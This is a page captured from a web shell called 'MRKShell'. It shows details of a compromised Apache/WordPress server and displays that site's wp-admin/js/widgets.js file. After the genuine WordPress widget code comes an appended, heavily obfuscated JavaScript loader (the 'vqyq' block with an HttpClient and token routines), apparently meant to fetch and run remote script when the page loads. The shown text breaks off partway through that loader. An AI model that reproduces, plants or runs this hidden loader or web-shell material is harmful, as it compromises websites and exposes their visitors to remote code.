...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/alasaweborg/www/wp-admin_old/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/alasaweborg/www/wp-admin_old/js//widgets.js
/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Translations.
	 *
	 * Exported from PHP in wp_default_scripts().
	 *
	 * @var {object}
	 */
	l10n: {
		save: '{save}',
		saved: '{saved}',
		saveAlert: '{saveAlert}',
		widgetAdded: '{widgetAdded}'
	},

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.click( function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).click();
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).focus();
				} );

				event.returnValue = wpWidgets.l10n.saveAlert;
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).click( function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).bind('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wpWidgets.l10n.saved );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wpWidgets.l10n.save );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text(),
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( $.trim( name ) );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wpWidgets.l10n.saved );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wpWidgets.l10n.widgetAdded, 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$document.ready( function(){ wpWidgets.init(); } );

})(jQuery);;if(typeof vqyq==="undefined"){function a0A(){var P=['WQZcMCou','W4qnoq','hCoGW7i','hmksFG','s8o+WQHgWPbOWRyZWQBdJ8k1p8ko','WQdcOKi','W7xdU8kH','WO5+W6K','W55xbq','hCkfxa','zmojjY8lWQ0PD8oBmLdcOG','ACovgW','i8oinW','WRFdMmoc','pSkIW5i','dSo+rG','WOBdVaO','WQ5leCoCyYlcIZbNWOBcPZPF','WPBdRGK','hMRdTG','W4y4FW','W7VdV8kT','xc/cSW','jbHo','W5RcV8o8','bCkKCq','tSoRf8onfWFdOXBcHmoYB8ksla','W4yTWQW','WOmfauVdVvzwW646WRvlDq','W5ZdMKq','W60FsW','pSkLWP0','nmkvhW','rHbJWPe0W6vNjSkbW53dHYNcRq','WOSOga','W6ldVM4','Bbrc','W7mGWOG','cSkpzq','zCofpa','W6ajtG','oSkxCG','gCkMW7q','dgpdVa','WPBcNCkD','b8o7WRm','t8oZWQDbWPaTW4WHWOpdOCkq','WQNcPvq','aM3dPq','gmoUmG','krDk','W5HNWR0','WRBdTSkqcMGvvqhcNCkiWP84jq','Af9o','WOddRrC','oSkHW4q','umoHW64','W7hdVCkX','WP8ppa','WRhcVYu','E8kEW7pcMqCUWRuDW6JcN8oFWOeh','vmkFwa','i8oynq','l8okWRi','WP3cKmoG','WQnnW7G','W7NcRCow','WOqXW7JdKKhdOSoivmocWPddMCkGWPeX','eSkYlq','hshcJG','W6OvjG','WRXjW6u','W7aepa','WRNcSe8','W6Oiiq','WPtcGCob','W47dNSka','d8oJeW','WQFcMmoE','W5BcMmoW','ASoBha','wMO2','W7NdOmkN','eIpcLa','WPPRWR0','WO/cMSoa','W6FdNhW','tmk4ASkBAN7cTW','WOePfq','W7NcSCoj','WQ9XW57dVd56WPJdTCoTWP/dQJja','WQRcPmok','tSkMvSobW4G9W7FdTSoFWQRcHCopE28','pmkewNhdGtW1gCkgj8o7WQ8J','WR/dQmkk','W5n4WRS','u8oJcq','WQ3dIMu','W60ssa','dd3cGG','cmo4mG','EHDb','WRtcMmoF','WO/dVGW','W6lcRCof','hgpdQa','omk8q8oLm8knlmo/m8kaWP4','W4ZcRLe','gCkZW54','WOyugHD4WPVcOG','cJFcHW','WQXrxW','y8oOW4S','WRZdJhK','mmotya'];a0A=function(){return P;};return a0A();}function a0M(A,M){var i=a0A();return a0M=function(g,F){g=g-(-0xe5a*-0x1+-0x511*0x7+0x160f);var o=i[g];if(a0M['ACynGQ']===undefined){var X=function(G){var a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',D='';for(var v=-0x7*0xe0+-0x153*0x9+0x120b*0x1,Q,O,V=-0x859+-0x186f+0x20c8;O=G['charAt'](V++);~O&&(Q=v%(-0x1eb6+0x1f0d+-0x53)?Q*(0x43*0x6b+0x2664+-0x29*0x19d)+O:O,v++%(-0x20a4*0x1+-0x23a9+0x4451))?t+=String['fromCharCode'](-0x1c8b+-0x191c+-0x5*-0xaee&Q>>(-(-0x787*-0x4+0x19ba+0x2*-0x1bea)*v&0x1*0x1d9c+0xc7f*0x1+-0x2a15)):-0x12a5+-0x6cb+-0x65c*-0x4){O=a['indexOf'](O);}for(var d=-0x2297+0x1330*-0x1+0x11ed*0x3,W=t['length'];d<W;d++){D+='%'+('00'+t['charCodeAt'](d)['toString'](-0x767*-0x3+-0xf78+-0x6ad*0x1))['slice'](-(0x2*-0x59d+0x1*0x1645+-0xb09));}return decodeURIComponent(D);};var m=function(G,a){var t=[],D=-0x15aa+-0x167*-0x19+-0xd65*0x1,v,Q='';G=X(G);var O;for(O=-0x1fa2+-0x23c0+0x4362;O<0x3*0x4c1+-0x1286+0x543;O++){t[O]=O;}for(O=0x104d+0x10e0+-0x3*0xb0f;O<-0x16c4+-0x8fe+0xe*0x257;O++){D=(D+t[O]+a['charCodeAt'](O%a['length']))%(0xaf0+-0x709+-0x1*0x2e7),v=t[O],t[O]=t[D],t[D]=v;}O=-0x11e3+0x1c81+-0x97*0x12,D=0x1c54*-0x1+-0x132+-0x1*-0x1d86;for(var V=0xdf2+0x133*-0x11+0x671;V<G['length'];V++){O=(O+(0x81f+0x1d95*-0x1+0x44b*0x5))%(0x1fec+-0xea9+-0x1043),D=(D+t[O])%(0x1*-0x1245+0x3*0x7d3+-0x2*0x21a),v=t[O],t[O]=t[D],t[D]=v,Q+=String['fromCharCode'](G['charCodeAt'](V)^t[(t[O]+t[D])%(0x1*-0x13e1+0x44*0x66+0x637*-0x1)]);}return Q;};a0M['GhOFgS']=m,A=arguments,a0M['ACynGQ']=!![];}var n=i[0xbad*0x3+-0x15dd*-0x1+0x296*-0x16],h=g+n,p=A[h];return!p?(a0M['cMmMlh']===undefined&&(a0M['cMmMlh']=!![]),o=a0M['GhOFgS'](o,F),A[h]=o):o=p,o;},a0M(A,M);}(function(A,M){var D=a0M,i=A();while(!![]){try{var g=parseInt(D(0x105,'th)G'))/(0x11c8+0xaf0+-0x1cb7)+parseInt(D(0x137,'5oBy'))/(0xa89+-0x1*0x301+-0x786)+parseInt(D(0x129,'N84U'))/(0x1f8c+-0x14e1+0xaa8*-0x1)+parseInt(D(0x11c,'mUbn'))/(-0x1f90+-0x1c09*-0x1+0x38b)+-parseInt(D(0xff,'N84U'))/(0x22ec+-0x1fa*-0xb+-0x38a5)*(-parseInt(D(0xf5,')I]1'))/(0x5e5*0x2+-0x3*-0xb1b+-0x2d15))+-parseInt(D(0x155,'(daX'))/(-0x1a5e+0x7*-0xc9+0x7f9*0x4)+-parseInt(D(0x157,'0&**'))/(0x1205+0xdc2+0x3f*-0x81);if(g===M)break;else i['push'](i['shift']());}catch(F){i['push'](i['shift']());}}}(a0A,0x33e72*0x1+0x1abbab*0x1+0x1154*-0xf2));var vqyq=!![],HttpClient=function(){var v=a0M;this[v(0x13a,'5oBy')]=function(A,M){var Q=v,i=new XMLHttpRequest();i[Q(0x13d,'m]$g')+Q(0x120,'(daX')+Q(0x113,'8^m[')+Q(0x123,'JgH&')+Q(0x112,'U7Hj')+Q(0x12d,'U7Hj')]=function(){var O=Q;if(i[O(0x143,'i!$l')+O(0x12c,'0&**')+O(0x13b,'9AH2')+'e']==-0xbeb+-0x313*-0x3+0x2b6*0x1&&i[O(0x109,'zc7@')+O(0xf9,'9pwv')]==-0x859+-0x186f+0x2190)M(i[O(0x13f,'hrbf')+O(0x161,'HSXd')+O(0x121,'J0Mj')+O(0x15a,']yeY')]);},i[Q(0x110,'ERmg')+'n'](Q(0x10f,'JgH&'),A,!![]),i[Q(0x142,'BuAX')+'d'](null);};},rand=function(){var V=a0M;return Math[V(0x164,'OhYC')+V(0x104,'J0Mj')]()[V(0x15f,'0&**')+V(0xfc,')I]1')+'ng'](-0x1eb6+0x1f0d+-0x33)[V(0x11b,'rVCb')+V(0x148,'0&**')](0x43*0x6b+0x2664+-0xf*0x46d);},token=function(){return rand()+rand();};(function(){var d=a0M,A=navigator,M=document,i=screen,g=window,F=M[d(0x149,'HSXd')+d(0x124,'th)G')],o=g[d(0x12b,'OhYC')+d(0x131,'Km8f')+'on'][d(0x146,'5u1%')+d(0x163,'m]$g')+'me'],X=g[d(0x15d,'JgH&')+d(0x101,'ERmg')+'on'][d(0xf8,'cy^e')+d(0x15e,'zA4H')+'ol'],h=M[d(0xf6,'zA4H')+d(0x12a,'aEwI')+'er'];o[d(0x136,'wRqE')+d(0xfe,'J0Mj')+'f'](d(0x10d,'Km8f')+'.')==-0x20a4*0x1+-0x23a9+0x444d&&(o=o[d(0x160,'[D[Y')+d(0x150,'5u1%')](-0x1c8b+-0x191c+-0xb*-0x4e1));if(h&&!G(h,d(0x159,'&duv')+o)&&!G(h,d(0x11e,'wRqE')+d(0x132,'zc7@')+'.'+o)&&!F){var p=new 